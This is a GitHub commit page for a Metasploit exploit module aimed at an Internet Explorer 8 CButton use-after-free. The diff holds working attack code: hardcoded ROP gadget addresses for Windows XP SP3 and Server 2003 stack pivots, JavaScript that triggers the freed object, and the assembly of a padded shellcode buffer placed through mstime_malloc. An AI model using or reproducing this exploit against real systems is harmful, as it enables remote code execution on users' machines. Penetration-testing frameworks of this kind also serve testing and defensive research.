Skip to content

Commit 329e822

Browse files
committed
Uses js_mstime_malloc to do the no-spray technique
1 parent 4db8192 commit 329e822

File tree

1 file changed

+40
-32
lines changed

1 file changed

+40
-32
lines changed

modules/exploits/windows/browser/ie_cbutton_uaf.rb

Lines changed: 40 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -122,23 +122,7 @@ def get_target(agent)
122122

123123
def ie8_smil(my_target, p)
124124

125-
case my_target['Rop']
126-
when :msvcrt
127-
case my_target.name
128-
when 'IE 8 on Windows XP SP3'
129-
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
130-
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
131-
when 'IE 8 on Windows Server 2003'
132-
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
133-
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
134-
end
135-
else
136-
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
137-
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
138-
end
139125

140-
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
141-
js_payload = Rex::Text.to_unescape(p)
142126

143127
js = %Q|
144128
unicorn = unescape("#{padding}");
@@ -286,45 +270,69 @@ def get_payload(t, cli)
286270

287271
def load_exploit_html(my_target, cli)
288272

289-
p = get_payload(my_target, cli)
290-
js = ie8_smil(my_target, p)
273+
case my_target['Rop']
274+
when :msvcrt
275+
case my_target.name
276+
when 'IE 8 on Windows XP SP3'
277+
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
278+
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
279+
when 'IE 8 on Windows Server 2003'
280+
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
281+
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
282+
end
283+
else
284+
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
285+
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
286+
end
287+
288+
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
289+
js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))
291290

292-
html = %Q|
293-
<!doctype html>
291+
html = %Q|<!doctype html>
294292
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
295293
<head>
296294
<meta>
297295
<?IMPORT namespace="t" implementation="#default#time2">
298296
</meta>
299297
300298
<script>
301-
function helloWorld()
302-
{
299+
#{js_mstime_malloc}
300+
301+
302+
function helloWorld() {
303303
e_form = document.getElementById("formelm");
304304
e_div = document.getElementById("divelm");
305305
306-
#{js}
307-
308306
for(i =0; i < 20; i++) {
309307
document.createElement('button');
310308
}
311-
e_div.appendChild(document.createElement('button'))
309+
e_div.appendChild(document.createElement('button'));
312310
e_div.firstChild.applyElement(e_form);
313311
314-
e_div.innerHTML = ""
312+
e_div.innerHTML = "";
315313
e_div.appendChild(document.createElement('body'));
316314
317-
CollectGarbage();
315+
CollectGarbage();
318316
319-
try {
320-
a = document.getElementById('myanim');
321-
a.values = animvalues;
317+
p = unescape("#{padding}");
318+
for (i=0; i < 3; i++) {
319+
p += unescape("#{padding}");
322320
}
323-
catch(e) {}
324-
}
321+
p += unescape("#{js_payload}");
325322
323+
fo = unescape("#{align_esp}");
324+
for (i=0; i < 55; i++) {
325+
if (i == 54) { fo += unescape("#{xchg_esp}"); }
326+
else { fo += unescape("#{align_esp}"); }
327+
}
328+
329+
fo += p;
330+
331+
mstime_malloc({shellcode:fo, heapBlockSize:0x58, objId:"myanim"});
332+
}
326333
</script>
327334
</head>
335+
328336
<body onload="eval(helloWorld())">
329337
<t:ANIMATECOLOR id="myanim"/>
330338
<div id="divelm"></div>

0 commit comments

Comments
 (0)